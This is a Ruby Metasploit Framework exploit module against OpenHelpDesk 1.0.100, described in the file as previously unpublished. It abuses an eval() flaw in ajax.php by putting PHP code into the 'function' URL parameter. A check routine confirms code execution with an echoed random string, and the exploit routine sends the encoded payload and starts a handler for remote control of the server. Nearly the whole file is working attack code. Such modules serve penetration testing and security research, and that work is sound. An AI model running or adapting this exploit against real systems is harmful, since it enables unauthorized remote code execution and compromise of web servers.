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##
# $Id: php_eval.rb 5783 2008-10-23 02:43:21Z ramon $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenHelpDesk eval (previously unpublished)',
'Description' => %q{
OpenHelpDesk version 1.0.100 is vulnerable to a php code
execution vulnerability due to improper use of eval().
The php.ini register_globals directive is *not* required to be
on to exploit this vulnerability. There is no known public
exploit for this vulnerability.
},
'Author' => [ 'LSO <lso@hushmail.com>' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' => [ 'URL' , 'http://sourceforge.net/projects/openhelpdesk' ],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'Space' => 4000, # max url length for some old
# versions of apache according to
# http://www.boutell.com/newfaq/misc/urllength.html
'DisableNops' => true,
'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
'Compat' =>
{
'ConnectionType' => 'find',
},
'Keys' => ['php'],
},
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('URIPATH', [ true, "The URI of ajax.php ", '/openhelpdesk/ajax.php']),
], self.class)
end
def check
tester = rand_text_alpha(10)
php_code = "echo('#{tester}');"
response = eval_sploit(php_code)
#print_status(response)
if (response && response.body.match(tester).to_a.first)
print_status("PHP code execution achieved; safe_mode or disable_functions might still prevent host compromise")
checkcode = Exploit::CheckCode::Vulnerable
else
checkcode = Exploit::CheckCode::Safe
end
return checkcode
end
def exploit
response = eval_sploit(payload.encoded)
handler
end
def eval_sploit(php_code)
uri = datastore['URIPATH'] + "?function=" + php_code + "//"
response = send_request_raw({ 'uri' => uri },1)
return response
end
end
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